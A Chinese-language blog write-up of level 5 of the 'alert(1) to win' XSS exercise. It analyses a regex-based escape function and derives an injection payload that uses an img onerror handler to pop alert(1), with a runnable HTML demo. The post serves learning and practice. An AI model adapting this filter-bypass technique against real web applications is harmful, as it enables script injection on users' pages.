首页 技术 正文
技术 2022年11月9日
0 收藏 754 点赞 4,602 浏览 1436 个字

吃过晚饭,再练一题

第五题

 function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1" rel="external nofollow" rel="external nofollow" >$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

分析:

技术点:正则表达式,html链接,img标签使用

正则表达式:

第2行:替换s中所有的<和”,用html编码表示,点击查看 HTML编码表

         正则表达式 g 代表全局模式,javascript replace 用法如下

   str.replace(regexp|substr, newSubstr|function)

第4行:将http://xx形式的内容替换成<a href=”http://xx”>xx</a>的形式

() 是为了提取匹配的字符串。表达式中有几个()就有几个相应的匹配字符串。

第6行:输入类似于

[[img123|Description]] 形式。

正则表达式字符含义大全

TRY:

1. 构造第三部的满足弹出alert(1)的s

成功的弹出img语句应该是

<img alt=”b” onerror=”alert(1)” src=”a.gif”> OK! 加载a.gif失败,启动onerror的alert(1),成功达到目的。

2. 因为全局都将 ” 替换了,所以不能用 ” 闭合,所以要利用第4句构造满足的句子。

逆推一下,”b” onerror=”alert(1)” 应该是一体的,转换一下,”b” onerror=’alert(1)’ 去掉两个双引号,现在b之后的双引号也不是我们输入的,然后成为 “b onerror=’alert(1)'”,但是b之后的 ” 还必须有,那么必然是第4行提供的,哪里提供呢?

<a href=”$1″>$1</a> 替换 $1,即 $1就是b,所以又变为 http://onerror=’alert(1)’。

3. 两者想合,构造 [[a|http://onerror=’alert(1)’]]

html渲染:

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<body><script type="text/javascript">
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1" rel="external nofollow" rel="external nofollow" >$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
var inputStr = "[[a|http://onerror='alert(1)']]";
var ok = escape(inputStr);
document.write(ok);
</script></body>
</html>

效果:

【20171025晚】alert(1) to win 第五题 正则表达式过滤

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,492
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,907
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,740
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,493
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:8,132
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:5,294